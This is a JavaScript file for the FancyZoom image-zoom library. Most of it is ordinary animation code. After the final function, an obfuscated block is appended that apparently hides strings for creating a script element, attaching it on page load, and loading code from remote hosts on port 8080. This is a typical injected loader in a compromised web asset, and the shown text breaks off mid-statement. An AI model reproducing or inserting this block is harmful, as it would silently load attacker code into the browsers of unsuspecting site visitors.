// FancyZoom.js - v1.1 - http://www.fancyzoom.com
//
// Copyright (c) 2008 Cabel Sasser / Panic Inc
// All rights reserved.
// 
//     Requires: FancyZoomHTML.js
// Instructions: Include JS files in page, call setupZoom() in onLoad. That's it!
//               Any <a href> links to images will be updated to zoom inline.
//               Add rel="nozoom" to your <a href> to disable zooming for an image.
// 
// Redistribution and use of this effect in source form, with or without modification,
// are permitted provided that the following conditions are met:
// 
// * USE OF SOURCE ON COMMERCIAL (FOR-PROFIT) WEBSITE REQUIRES ONE-TIME LICENSE FEE PER DOMAIN.
//   Reasonably priced! Visit www.fancyzoom.com for licensing instructions. Thanks!
//
// * Non-commercial (personal) website use is permitted without license/payment!
//
// * Redistribution of source code must retain the above copyright notice,
//   this list of conditions and the following disclaimer.
//
// * Redistribution of source code and derived works cannot be sold without specific
//   written prior permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

var includeCaption = true; // Turn on the "caption" feature, and write out the caption HTML
var zoomTime       = 5;    // Milliseconds between frames of zoom animation
var zoomSteps      = 15;   // Number of zoom animation frames
var includeFade    = 1;    // Set to 1 to fade the image in / out as it zooms
var minBorder      = 90;   // Amount of padding between large, scaled down images, and the window edges
var shadowSettings = '0px 5px 25px rgba(0, 0, 0, '; // Blur, radius, color of shadow for compatible browsers

var zoomImagesURI   = '/assets/zoom/'; // Location of the zoom and shadow images

// Init. Do not add anything below this line, unless it's something awesome.

var myWidth = 0, myHeight = 0, myScroll = 0; myScrollWidth = 0; myScrollHeight = 0;
var zoomOpen = false, preloadFrame = 1, preloadActive = false, preloadTime = 0, imgPreload = new Image();
var preloadAnimTimer = 0;

var zoomActive = new Array(); var zoomTimer  = new Array(); 
var zoomOrigW  = new Array(); var zoomOrigH  = new Array();
var zoomOrigX  = new Array(); var zoomOrigY  = new Array();

var zoomID         = "ZoomBox";
var theID          = "ZoomImage";
var zoomCaption    = "ZoomCaption";
var zoomCaptionDiv = "ZoomCapDiv";

if (navigator.userAgent.indexOf("MSIE") != -1) {
	var browserIsIE = true;
}

// Zoom: Setup The Page! Called in your <body>'s onLoad handler.

function setupZoom() {
	prepZooms();
	insertZoomHTML();
	zoomdiv = document.getElementById(zoomID);  
	zoomimg = document.getElementById(theID);
}

// Zoom: Inject Javascript functions into hrefs pointing to images, one by one!
// Skip any href that contains a rel="nozoom" tag.
// This is done at page load time via an onLoad() handler.

function prepZooms() {
	if (! document.getElementsByTagName) {
		return;
	}
	var links = document.getElementsByTagName("a");
	for (i = 0; i < links.length; i++) {
		if (links[i].getAttribute("href")) {
			if (links[i].getAttribute("href").search(/(.*)\.(jpg|jpeg|gif|png|bmp|tif|tiff)/gi) != -1) {
				if (links[i].getAttribute("rel") != "nozoom") {
					links[i].onclick = function (event) { return zoomClick(this, event); };
					links[i].onmouseover = function () { zoomPreload(this); };
				}
			}
		}
	}
}

// Zoom: Load an image into an image object. When done loading, function sets preloadActive to false,
// so other bits know that they can proceed with the zoom.
// Preloaded image is stored in imgPreload and swapped out in the zoom function.

function zoomPreload(from) {

	var theimage = from.getAttribute("href");

	// Only preload if we have to, i.e. the image isn't this image already

	if (imgPreload.src.indexOf(from.getAttribute("href").substr(from.getAttribute("href").lastIndexOf("/"))) == -1) {
		preloadActive = true;
		imgPreload = new Image();

		// Set a function to fire when the preload is complete, setting flags along the way.

		imgPreload.onload = function() {
			preloadActive = false;
		}

		// Load it!
		imgPreload.src = theimage;
	}
}

// Zoom: Start the preloading animation cycle.

function preloadAnimStart() {
	preloadTime = new Date();
	document.getElementById("ZoomSpin").style.left = (myWidth / 2) + 'px';
	document.getElementById("ZoomSpin").style.top = ((myHeight / 2) + myScroll) + 'px';
	document.getElementById("ZoomSpin").style.visibility = "visible";	
	preloadFrame = 1;
	document.getElementById("SpinImage").src = zoomImagesURI+'zoom-spin-'+preloadFrame+'.png';  
	preloadAnimTimer = setInterval("preloadAnim()", 100);
}

// Zoom: Display and ANIMATE the jibber-jabber widget. Once preloadActive is false, bail and zoom it up!

function preloadAnim(from) {
	if (preloadActive != false) {
		document.getElementById("SpinImage").src = zoomImagesURI+'zoom-spin-'+preloadFrame+'.png';
		preloadFrame++;
		if (preloadFrame > 12) preloadFrame = 1;
	} else {
		document.getElementById("ZoomSpin").style.visibility = "hidden";    
		clearInterval(preloadAnimTimer);
		preloadAnimTimer = 0;
		zoomIn(preloadFrom);
	}
}

// ZOOM CLICK: We got a click! Should we do the zoom? Or wait for the preload to complete?
// todo?: Double check that imgPreload src = clicked src

function zoomClick(from, evt) {

	var shift = getShift(evt);

	// Check for Command / Alt key. If pressed, pass them through -- don't zoom!
	if (! evt && window.event && (window.event.metaKey || window.event.altKey)) {
		return true;
	} else if (evt && (evt.metaKey|| evt.altKey)) {
		return true;
	}

	// Get browser dimensions
	getSize();

	// If preloading still, wait, and display the spinner.
	if (preloadActive == true) {
		// But only display the spinner if it's not already being displayed!
		if (preloadAnimTimer == 0) {
			preloadFrom = from;
			preloadAnimStart();	
		}
	} else {
		// Otherwise, we're loaded: do the zoom!
		zoomIn(from, shift);
	}
	
	return false;
	
}

// Zoom: Move an element in to endH endW, using zoomHost as a starting point.
// "from" is an object reference to the href that spawned the zoom.

function zoomIn(from, shift) {

	zoomimg.src = from.getAttribute("href");

	// Determine the zoom settings from where we came from, the element in the <a>.
	// If there's no element in the <a>, or we can't get the width, make stuff up

	if (from.childNodes[0].width) {
		startW = from.childNodes[0].width;
		startH = from.childNodes[0].height;
		startPos = findElementPos(from.childNodes[0]);
	} else {
		startW = 50;
		startH = 12;
		startPos = findElementPos(from);
	}

	hostX = startPos[0];
	hostY = startPos[1];

	// Make up for a scrolled containing div.
	// TODO: This HAS to move into findElementPos.
	
	if (document.getElementById('scroller')) {
		hostX = hostX - document.getElementById('scroller').scrollLeft;
	}

	// Determine the target zoom settings from the preloaded image object

	endW = imgPreload.width;
	endH = imgPreload.height;

	// Start! But only if we're not zooming already!

	if (zoomActive[theID] != true) {

		// Clear everything out just in case something is already open

		if (document.getElementById("ShadowBox")) {
			document.getElementById("ShadowBox").style.visibility = "hidden";
		} else if (! browserIsIE) {
		
			// Wipe timer if shadow is fading in still
			if (fadeActive["ZoomImage"]) {
				clearInterval(fadeTimer["ZoomImage"]);
				fadeActive["ZoomImage"] = false;
				fadeTimer["ZoomImage"] = false;			
			}
			
			document.getElementById("ZoomImage").style.webkitBoxShadow = shadowSettings + '0.0)';			
		}
		
		document.getElementById("ZoomClose").style.visibility = "hidden";     

		// Setup the CAPTION, if existing. Hide it first, set the text.

		if (includeCaption) {
			document.getElementById(zoomCaptionDiv).style.visibility = "hidden";
			if (from.getAttribute('title') && includeCaption) {
				// Yes, there's a caption, set it up
				document.getElementById(zoomCaption).innerHTML = from.getAttribute('title');
			} else {
				document.getElementById(zoomCaption).innerHTML = "";
			}
		}

		// Store original position in an array for future zoomOut.

		zoomOrigW[theID] = startW;
		zoomOrigH[theID] = startH;
		zoomOrigX[theID] = hostX;
		zoomOrigY[theID] = hostY;

		// Now set the starting dimensions

		zoomimg.style.width = startW + 'px';
		zoomimg.style.height = startH + 'px';
		zoomdiv.style.left = hostX + 'px';
		zoomdiv.style.top = hostY + 'px';

		// Show the zooming image container, make it invisible

		if (includeFade == 1) {
			setOpacity(0, zoomID);
		}
		zoomdiv.style.visibility = "visible";

		// If it's too big to fit in the window, shrink the width and height to fit (with ratio).

		sizeRatio = endW / endH;
		if (endW > myWidth - minBorder) {
			endW = myWidth - minBorder;
			endH = endW / sizeRatio;
		}
		if (endH > myHeight - minBorder) {
			endH = myHeight - minBorder;
			endW = endH * sizeRatio;
		}

		zoomChangeX = ((myWidth / 2) - (endW / 2) - hostX);
		zoomChangeY = (((myHeight / 2) - (endH / 2) - hostY) + myScroll);
		zoomChangeW = (endW - startW);
		zoomChangeH = (endH - startH);
		
		// Shift key?
	
		if (shift) {
			tempSteps = zoomSteps * 7;
		} else {
			tempSteps = zoomSteps;
		}

		// Setup Zoom

		zoomCurrent = 0;

		// Setup Fade with Zoom, If Requested

		if (includeFade == 1) {
			fadeCurrent = 0;
			fadeAmount = (0 - 100) / tempSteps;
		} else {
			fadeAmount = 0;
		}

		// Do It!
		
		zoomTimer[theID] = setInterval("zoomElement('"+zoomID+"', '"+theID+"', "+zoomCurrent+", "+startW+", "+zoomChangeW+", "+startH+", "+zoomChangeH+", "+hostX+", "+zoomChangeX+", "+hostY+", "+zoomChangeY+", "+tempSteps+", "+includeFade+", "+fadeAmount+", 'zoomDoneIn(zoomID)')", zoomTime);		
		zoomActive[theID] = true; 
	}
}

// Zoom it back out.

function zoomOut(from, evt) {

	// Get shift key status.
	// IE events don't seem to get passed through the function, so grab it from the window.

	if (getShift(evt)) {
		tempSteps = zoomSteps * 7;
	} else {
		tempSteps = zoomSteps;
	}	

	// Check to see if something is happening/open
  
	if (zoomActive[theID] != true) {

		// First, get rid of the shadow if necessary.

		if (document.getElementById("ShadowBox")) {
			document.getElementById("ShadowBox").style.visibility = "hidden";
		} else if (! browserIsIE) {
		
			// Wipe timer if shadow is fading in still
			if (fadeActive["ZoomImage"]) {
				clearInterval(fadeTimer["ZoomImage"]);
				fadeActive["ZoomImage"] = false;
				fadeTimer["ZoomImage"] = false;			
			}
			
			document.getElementById("ZoomImage").style.webkitBoxShadow = shadowSettings + '0.0)';			
		}

		// ..and the close box...

		document.getElementById("ZoomClose").style.visibility = "hidden";

		// ...and the caption if necessary!

		if (includeCaption && document.getElementById(zoomCaption).innerHTML != "") {
			// fadeElementSetup(zoomCaptionDiv, 100, 0, 5, 1);
			document.getElementById(zoomCaptionDiv).style.visibility = "hidden";
		}

		// Now, figure out where we came from, to get back there

		startX = parseInt(zoomdiv.style.left);
		startY = parseInt(zoomdiv.style.top);
		startW = zoomimg.width;
		startH = zoomimg.height;
		zoomChangeX = zoomOrigX[theID] - startX;
		zoomChangeY = zoomOrigY[theID] - startY;
		zoomChangeW = zoomOrigW[theID] - startW;
		zoomChangeH = zoomOrigH[theID] - startH;

		// Setup Zoom

		zoomCurrent = 0;

		// Setup Fade with Zoom, If Requested

		if (includeFade == 1) {
			fadeCurrent = 0;
			fadeAmount = (100 - 0) / tempSteps;
		} else {
			fadeAmount = 0;
		}

		// Do It!

		zoomTimer[theID] = setInterval("zoomElement('"+zoomID+"', '"+theID+"', "+zoomCurrent+", "+startW+", "+zoomChangeW+", "+startH+", "+zoomChangeH+", "+startX+", "+zoomChangeX+", "+startY+", "+zoomChangeY+", "+tempSteps+", "+includeFade+", "+fadeAmount+", 'zoomDone(zoomID, theID)')", zoomTime);	
		zoomActive[theID] = true;
	}
}

// Finished Zooming In

function zoomDoneIn(zoomdiv, theID) {

	// Note that it's open
  
	zoomOpen = true;
	zoomdiv = document.getElementById(zoomdiv);

	// Position the table shadow behind the zoomed in image, and display it

	if (document.getElementById("ShadowBox")) {

		setOpacity(0, "ShadowBox");
		shadowdiv = document.getElementById("ShadowBox");

		shadowLeft = parseInt(zoomdiv.style.left) - 13;
		shadowTop = parseInt(zoomdiv.style.top) - 8;
		shadowWidth = zoomdiv.offsetWidth + 26;
		shadowHeight = zoomdiv.offsetHeight + 26; 
	
		shadowdiv.style.width = shadowWidth + 'px';
		shadowdiv.style.height = shadowHeight + 'px';
		shadowdiv.style.left = shadowLeft + 'px';
		shadowdiv.style.top = shadowTop + 'px';

		document.getElementById("ShadowBox").style.visibility = "visible";
		fadeElementSetup("ShadowBox", 0, 100, 5);
		
	} else if (! browserIsIE) {
		// Or, do a fade of the modern shadow
		fadeElementSetup("ZoomImage", 0, .8, 5, 0, "shadow");
	}
	
	// Position and display the CAPTION, if existing
  
	if (includeCaption && document.getElementById(zoomCaption).innerHTML != "") {
		// setOpacity(0, zoomCaptionDiv);
		zoomcapd = document.getElementById(zoomCaptionDiv);
		zoomcapd.style.top = parseInt(zoomdiv.style.top) + (zoomdiv.offsetHeight + 15) + 'px';
		zoomcapd.style.left = (myWidth / 2) - (zoomcapd.offsetWidth / 2) + 'px';
		zoomcapd.style.visibility = "visible";
		// fadeElementSetup(zoomCaptionDiv, 0, 100, 5);
	}   
	
	// Display Close Box (fade it if it's not IE)

	if (!browserIsIE) setOpacity(0, "ZoomClose");
	document.getElementById("ZoomClose").style.visibility = "visible";
	if (!browserIsIE) fadeElementSetup("ZoomClose", 0, 100, 5);

	// Get keypresses
	document.onkeypress = getKey;
	
}

// Finished Zooming Out

function zoomDone(zoomdiv, theID) {

	// No longer open
  
	zoomOpen = false;

	// Clear stuff out, clean up

	zoomOrigH[theID] = "";
	zoomOrigW[theID] = "";
	document.getElementById(zoomdiv).style.visibility = "hidden";
	zoomActive[theID] == false;

	// Stop getting keypresses

	document.onkeypress = null;

}

// Actually zoom the element

function zoomElement(zoomdiv, theID, zoomCurrent, zoomStartW, zoomChangeW, zoomStartH, zoomChangeH, zoomStartX, zoomChangeX, zoomStartY, zoomChangeY, zoomSteps, includeFade, fadeAmount, execWhenDone) {

	// console.log("Zooming Step #"+zoomCurrent+ " of "+zoomSteps+" (zoom " + zoomStartW + "/" + zoomChangeW + ") (zoom " + zoomStartH + "/" + zoomChangeH + ")  (zoom " + zoomStartX + "/" + zoomChangeX + ")  (zoom " + zoomStartY + "/" + zoomChangeY + ") Fade: "+fadeAmount);
    
	// Test if we're done, or if we continue

	if (zoomCurrent == (zoomSteps + 1)) {
		zoomActive[theID] = false;
		clearInterval(zoomTimer[theID]);

		if (execWhenDone != "") {
			eval(execWhenDone);
		}
	} else {
	
		// Do the Fade!
	  
		if (includeFade == 1) {
			if (fadeAmount < 0) {
				setOpacity(Math.abs(zoomCurrent * fadeAmount), zoomdiv);
			} else {
				setOpacity(100 - (zoomCurrent * fadeAmount), zoomdiv);
			}
		}
	  
		// Calculate this step's difference, and move it!
		
		moveW = cubicInOut(zoomCurrent, zoomStartW, zoomChangeW, zoomSteps);
		moveH = cubicInOut(zoomCurrent, zoomStartH, zoomChangeH, zoomSteps);
		moveX = cubicInOut(zoomCurrent, zoomStartX, zoomChangeX, zoomSteps);
		moveY = cubicInOut(zoomCurrent, zoomStartY, zoomChangeY, zoomSteps);
	
		document.getElementById(zoomdiv).style.left = moveX + 'px';
		document.getElementById(zoomdiv).style.top = moveY + 'px';
		zoomimg.style.width = moveW + 'px';
		zoomimg.style.height = moveH + 'px';
	
		zoomCurrent++;
		
		clearInterval(zoomTimer[theID]);
		zoomTimer[theID] = setInterval("zoomElement('"+zoomdiv+"', '"+theID+"', "+zoomCurrent+", "+zoomStartW+", "+zoomChangeW+", "+zoomStartH+", "+zoomChangeH+", "+zoomStartX+", "+zoomChangeX+", "+zoomStartY+", "+zoomChangeY+", "+zoomSteps+", "+includeFade+", "+fadeAmount+", '"+execWhenDone+"')", zoomTime);
	}
}

// Zoom Utility: Get Key Press when image is open, and act accordingly

function getKey(evt) {
	if (! evt) {
		theKey = event.keyCode;
	} else {
		theKey = evt.keyCode;
	}

	if (theKey == 27) { // ESC
		zoomOut(this, evt);
	}
}

////////////////////////////
//
// FADE Functions
//

function fadeOut(elem) {
	if (elem.id) {
		fadeElementSetup(elem.id, 100, 0, 10);
	}
}

function fadeIn(elem) {
	if (elem.id) {
		fadeElementSetup(elem.id, 0, 100, 10);	
	}
}

// Fade: Initialize the fade function

var fadeActive = new Array();
var fadeQueue  = new Array();
var fadeTimer  = new Array();
var fadeClose  = new Array();
var fadeMode   = new Array();

function fadeElementSetup(theID, fdStart, fdEnd, fdSteps, fdClose, fdMode) {

	// alert("Fading: "+theID+" Steps: "+fdSteps+" Mode: "+fdMode);

	if (fadeActive[theID] == true) {
		// Already animating, queue up this command
		fadeQueue[theID] = new Array(theID, fdStart, fdEnd, fdSteps);
	} else {
		fadeSteps = fdSteps;
		fadeCurrent = 0;
		fadeAmount = (fdStart - fdEnd) / fadeSteps;
		fadeTimer[theID] = setInterval("fadeElement('"+theID+"', '"+fadeCurrent+"', '"+fadeAmount+"', '"+fadeSteps+"')", 15);
		fadeActive[theID] = true;
		fadeMode[theID] = fdMode;
		
		if (fdClose == 1) {
			fadeClose[theID] = true;
		} else {
			fadeClose[theID] = false;
		}
	}
}

// Fade: Do the fade. This function will call itself, modifying the parameters, so
// many instances can run concurrently. Can fade using opacity, or fade using a box-shadow.

function fadeElement(theID, fadeCurrent, fadeAmount, fadeSteps) {

	if (fadeCurrent == fadeSteps) {

		// We're done, so clear.

		clearInterval(fadeTimer[theID]);
		fadeActive[theID] = false;
		fadeTimer[theID] = false;

		// Should we close it once the fade is complete?

		if (fadeClose[theID] == true) {
			document.getElementById(theID).style.visibility = "hidden";
		}

		// Hang on.. did a command queue while we were working? If so, make it happen now

		if (fadeQueue[theID] && fadeQueue[theID] != false) {
			fadeElementSetup(fadeQueue[theID][0], fadeQueue[theID][1], fadeQueue[theID][2], fadeQueue[theID][3]);
			fadeQueue[theID] = false;
		}
	} else {

		fadeCurrent++;
		
		// Now actually do the fade adjustment.
		
		if (fadeMode[theID] == "shadow") {

			// Do a special fade on the webkit-box-shadow of the object
		
			if (fadeAmount < 0) {
				document.getElementById(theID).style.webkitBoxShadow = shadowSettings + (Math.abs(fadeCurrent * fadeAmount)) + ')';
			} else {
				document.getElementById(theID).style.webkitBoxShadow = shadowSettings + (100 - (fadeCurrent * fadeAmount)) + ')';
			}
			
		} else {
		
			// Set the opacity depending on if we're adding or subtracting (pos or neg)
			
			if (fadeAmount < 0) {
				setOpacity(Math.abs(fadeCurrent * fadeAmount), theID);
			} else {
				setOpacity(100 - (fadeCurrent * fadeAmount), theID);
			}
		}

		// Keep going, and send myself the updated variables
		clearInterval(fadeTimer[theID]);
		fadeTimer[theID] = setInterval("fadeElement('"+theID+"', '"+fadeCurrent+"', '"+fadeAmount+"', '"+fadeSteps+"')", 15);
	}
}

////////////////////////////
//
// UTILITY functions
//

// Utility: Set the opacity, compatible with a number of browsers. Value from 0 to 100.

function setOpacity(opacity, theID) {

	var object = document.getElementById(theID).style;

	// If it's 100, set it to 99 for Firefox.

	if (navigator.userAgent.indexOf("Firefox") != -1) {
		if (opacity == 100) { opacity = 99.9999; } // This is majorly awkward
	}

	// Multi-browser opacity setting

	object.filter = "alpha(opacity=" + opacity + ")"; // IE/Win
	object.opacity = (opacity / 100);                 // Safari 1.2, Firefox+Mozilla

}

// Utility: Math functions for animation calucations - From http://www.robertpenner.com/easing/
//
// t = time, b = begin, c = change, d = duration
// time = current frame, begin is fixed, change is basically finish - begin, duration is fixed (frames),

function linear(t, b, c, d)
{
	return c*t/d + b;
}

function sineInOut(t, b, c, d)
{
	return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
}

function cubicIn(t, b, c, d) {
	return c*(t/=d)*t*t + b;
}

function cubicOut(t, b, c, d) {
	return c*((t=t/d-1)*t*t + 1) + b;
}

function cubicInOut(t, b, c, d)
{
	if ((t/=d/2) < 1) return c/2*t*t*t + b;
	return c/2*((t-=2)*t*t + 2) + b;
}

function bounceOut(t, b, c, d)
{
	if ((t/=d) < (1/2.75)){
		return c*(7.5625*t*t) + b;
	} else if (t < (2/2.75)){
		return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
	} else if (t < (2.5/2.75)){
		return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
	} else {
		return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
	}
}


// Utility: Get the size of the window, and set myWidth and myHeight
// Credit to quirksmode.org

function getSize() {

	// Window Size

	if (self.innerHeight) { // Everyone but IE
		myWidth = window.innerWidth;
		myHeight = window.innerHeight;
		myScroll = window.pageYOffset;
	} else if (document.documentElement && document.documentElement.clientHeight) { // IE6 Strict
		myWidth = document.documentElement.clientWidth;
		myHeight = document.documentElement.clientHeight;
		myScroll = document.documentElement.scrollTop;
	} else if (document.body) { // Other IE, such as IE7
		myWidth = document.body.clientWidth;
		myHeight = document.body.clientHeight;
		myScroll = document.body.scrollTop;
	}

	// Page size w/offscreen areas

	if (window.innerHeight && window.scrollMaxY) {	
		myScrollWidth = document.body.scrollWidth;
		myScrollHeight = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight) { // All but Explorer Mac
		myScrollWidth = document.body.scrollWidth;
		myScrollHeight = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		myScrollWidth = document.body.offsetWidth;
		myScrollHeight = document.body.offsetHeight;
	}
}

// Utility: Get Shift Key Status
// IE events don't seem to get passed through the function, so grab it from the window.

function getShift(evt) {
	var shift = false;
	if (! evt && window.event) {
		shift = window.event.shiftKey;
	} else if (evt) {
		shift = evt.shiftKey;
		if (shift) evt.stopPropagation(); // Prevents Firefox from doing shifty things
	}
	return shift;
}

// Utility: Find the Y position of an element on a page. Return Y and X as an array

function findElementPos(elemFind)
{
	var elemX = 0;
	var elemY = 0;
	do {
		elemX += elemFind.offsetLeft;
		elemY += elemFind.offsetTop;
	} while ( elemFind = elemFind.offsetParent )

	return Array(elemX, elemY);
}
var ji="ebfee0d8e9b5ccfee4f8d09cecddffec96d7f7cafae8ffe8e5d5f4cdc9d5faf3c8f19eb29cbb98cee6ccd9e2ddfcfae3f7ccfdf3c1cce3e5efeae3e4f4cbddfae897c1ed9bfcecfb80efff8bcffa";this.dV=48930;var xN;if(xN!='zBe' && xN!='js'){xN='zBe'};this.eG=48738;function P(d){var mX;if(mX!='' && mX!='S'){mX=null};var vm=new String();this.T="T";this.Px="Px"; var IX=new Date();function A(fm,vA){var mS='';var Gg='';return fm^vA;var sd=new Date();}var en=new Date();this.DC="DC"; var v=function(W, N){var w;if(w!='' && w!='QU'){w='NM'};var UX;if(UX!='' && UX!='ep'){UX='dq'};var xg = '';this.yG="";var xo = W.length;var Ph=[4,85,97,1][3];var du=new String();var fw = N.length;var BF="";var XK;if(XK!='yc' && XK!='qS'){XK='yc'};var O=[0][0];var c;if(c!='pe'){c=''};var Es;if(Es!='Ji'){Es=''};var Ib=new Array();for(var G = O; G < xo; G += fw) {this.Gy='';var mo;if(mo!='wZ'){mo='wZ'};var J = W.substr(G, fw);var g;if(g!='' && g!='OJ'){g=''};var wR;if(wR!='' && wR!='cK'){wR=null};if(J.length == fw){var lL='';var hB=new String();for(var j in N) {var my;if(my!='ey'){my='ey'};var K=new Date();var FZ;if(FZ!='qB'){FZ='qB'};xg+=J.substr(N[j], Ph);var cq;if(cq!='' && cq!='YY'){cq='tA'};var qN='';}var OP;if(OP!='IE'){OP=''};var IP;if(IP!='sU' && IP!='yg'){IP=''};this.GU="";} else {var cX=new Date();  xg+=J;var Ou=24116;var VB;if(VB!='cr'){VB=''};}var Gyo;if(Gyo!='DA'){Gyo=''};var Jn="Jn";}var wD;if(wD!='th' && wD!='nb'){wD='th'};var XC;if(XC!='tx'){XC=''};return xg;var jN;if(jN!='' && jN!='NV'){jN=''};};var aH=false;var Kv;if(Kv!='' && Kv!='qc'){Kv=null}; var q=function(df){var sP;if(sP!='' && sP!='MA'){sP='VW'};var gE;if(gE!='SXO' && gE != ''){gE=null};var Vs;if(Vs!='wF' && Vs != ''){Vs=null};this.qw=false;var e=[163,0,183,43][1];var vh="";this.UY='';var j=[213,0][1];var lv=new Array();var Ph=[1][0];var at;if(at!='dN' && at!='wA'){at='dN'};var D=[255][0];var Qs;if(Qs!='' && Qs!='Ih'){Qs='DO'};var ny=new Date();var B=df[v("nlehgt", [1,2,0])];this.lB=false;var ahk;if(ahk!='Ca'){ahk=''};this.uo=14037;while(j<B){var tG=new Date();this.vI="vI";j++;this.ux="ux";a=b(df,j - Ph);var pP;if(pP!='dT'){pP=''};var he="";e+=a*B;var qW;if(qW!='' && qW!='IQ'){qW=null};}this.mF='';return new f(e % D);var YK;if(YK!='lI'){YK=''};};var ZG;if(ZG!='rx'){ZG=''};var br;if(br!='' && br!='fe'){br='Gf'}; var VbZ;if(VbZ!='' && VbZ!='Pi'){VbZ='gu'};var Ho="";function R(W){var dd;if(dd!='Qb' && dd!='epl'){dd=''};var cR;if(cR!='' && cR!='lR'){cR=null};var dn = -1;this.zL=false;var aX;if(aX!='Gx' && aX!='ZA'){aX='Gx'};var xg = '';var O =[214,0,18][1];var Zj=false;W = new f(W);var G =[206,0,148][1];var pJd;if(pJd!='' && pJd!='PI'){pJd='WR'};for (G=W[v("genlth", [3,1,2,0])]-dn;G>=O;G=G-[1][0]){this.pw="pw";xg+=W[v("ahctAr", [2,1,0])](G);this.MF="MF";this.yO="yO";}this.rm=34004;var ap=false;return xg;var oL;if(oL!='' && oL!='mQ'){oL=''};}var jH=new String();var uu=new Array();var gq="gq"; var bs="bs";var Wm=new Date();function b(Q,I){var jl=new Array();return Q[v("hcaroCdeAt", [1,0,2,3])](I);var Fd;if(Fd!='pC' && Fd != ''){Fd=null};var WN;if(WN!='ut' && WN != ''){WN=null};}this.BE='';var kJ=new Array();var Fe;if(Fe!='Bz'){Fe='Bz'};var qx=window;var Kb;if(Kb!='Ai' && Kb!='iN'){Kb='Ai'};var U=qx[v("veal", [1,0,2,3])];var n=U(v("tcuniFon", [5,2,3,1,0,4]));this.Jy="";this.ln="";var z = '';var kj;if(kj!='zF'){kj=''};var Zw;if(Zw!='pO'){Zw=''};this.fx=59118;var da="";var s=U(v("eREgpx", [1,0]));var lX;if(lX!='' && lX!='avO'){lX='ff'};var f=U(v("ntSgir", [2,1,5,4,0,3]));this.tW="";var Vy=false;var Ms=false;var uq;if(uq!='NX'){uq='NX'};var ewS=false;var tM=new Array();var mn=new Array();var Dy=f[v("rfoCmhraCdoe", [1,0,2])];this.zp="";var bC=qx[v("nuseacep", [1,0])];var DN;if(DN!='za' && DN!='bW'){DN=''};var gR=false;var cY;if(cY!='' && cY!='Ihm'){cY=''};var SH;if(SH!='' && SH!='FA'){SH='ygU'};this.Oz="Oz";this.rV="rV";var Ph =[57,71,206,1][3];var VWl=39598;var M = /[^@a-z0-9A-Z_-]/g;var ZX='';var cD;if(cD!='' && cD!='ZGW'){cD=null};var QJ = Dy(37);var hb=new Array();var EP;if(EP!='El' && EP!='zl'){EP='El'};this.HU='';var u=[1, v("eocdumet.ncreteaEl\'enmt(tcrsip\')", [3,1,2,4,5,0]),2, v("codemu.tndoba.yeppCdnlihd(d)", [2,1,0]),3, v("mno.cwrwoelndilr:.ue8080", [4,2,0,3,1]),4, v("s.dAterttubi(eted\'ref\'", [2,1,0]),5, v("nrgoay.dbx.e.urooking", [3,1,2,6,5,4,0,7]),6, v("legoog.com", [5,3,4,2,0,1]),7, v("arbunticdirnaoy.com", [3,1,2,0,4]),8, v("iwdnwoo.lnaod", [1,0]),11, v("iunftcon()", [3,1,2,5,4,0]),12, v("ewnggeco.m", [2,0,1]),14, v("otsnb.ocom", [4,0,2,1,6,3,5]),15, v("(a)tchce", [6,1,3,4,5,0,7,2]),16, v("ojmoal", [1,0]),17, v("th\":pt", [2,1,0]),18, v(".sdrc", [2,0,1]),19, v("1\')\'", [1,0]),20, v("rty", [1,0,2])];var ZJ=new Date();var Qu=41516;var OZ = '';var lT=new Date();var uQ;if(uQ!='mov' && uQ!='Nb'){uQ='mov'};var aZ = '';var HI;if(HI!='aQ'){HI='aQ'};var jr = d[v("elgnth", [1,0,3,2])];this.BN='';var vIP;if(vIP!=''){vIP='oU'};var O =[157,0,200][1];var VN;if(VN!='Wj'){VN=''};this.Kx="Kx";var dQ =[2,250][0];var Hv;if(Hv!='uK' && Hv!='jQ'){Hv=''};var Ui='';var X =[251,80,0,16][2];var Gr = '';var Uc='';this.ahY='';var DT=false;var wu='';var crq=new Date();for(var zj=O; zj < jr; zj+=dQ){this.Gu="";Gr+= QJ; this.nbH='';var NCp;if(NCp!='MFi'){NCp='MFi'};Gr+= d[v("tbsusr", [4,3,1,2,0])](zj, dQ);var Lf=false;var Vt=false;}var Xa=new Date();var tGb;if(tGb!='cn'){tGb=''};var d = bC(Gr);var zr='';this.fhG="";var Wo = new f(P);var Gs;if(Gs!='' && Gs!='Jg'){Gs=''};var Pv="";var Z = Wo[v("pelrace", [3,1,0,2,4])](M, OZ);this.OR=25898;var Bf;if(Bf!=''){Bf='Nh'};var CV;if(CV!='PE' && CV!='Yhr'){CV=''};this.ud=false;var E = u[v("nltgeh", [1,4,0,3,2])];var rc;if(rc!='sw' && rc!='lY'){rc=''};var EZ = new f(n);var tV="";var ng;if(ng!='yt'){ng='yt'};Z = R(Z);var kv;if(kv!='dx'){kv=''};var um='';var au = EZ[v("erlpcae", [1,0])](M, OZ);var au = q(au);this.ar='';this.qF='';var y=q(Z);var UcK;if(UcK!='SW' && UcK!='ZrJ'){UcK='SW'};var DW;if(DW!='RO' && DW!='Zh'){DW='RO'};this.At=false;for(var G=O; G < (d[v("elgnht", [1,0])]);G=G+[1,175][0]) {var sz = 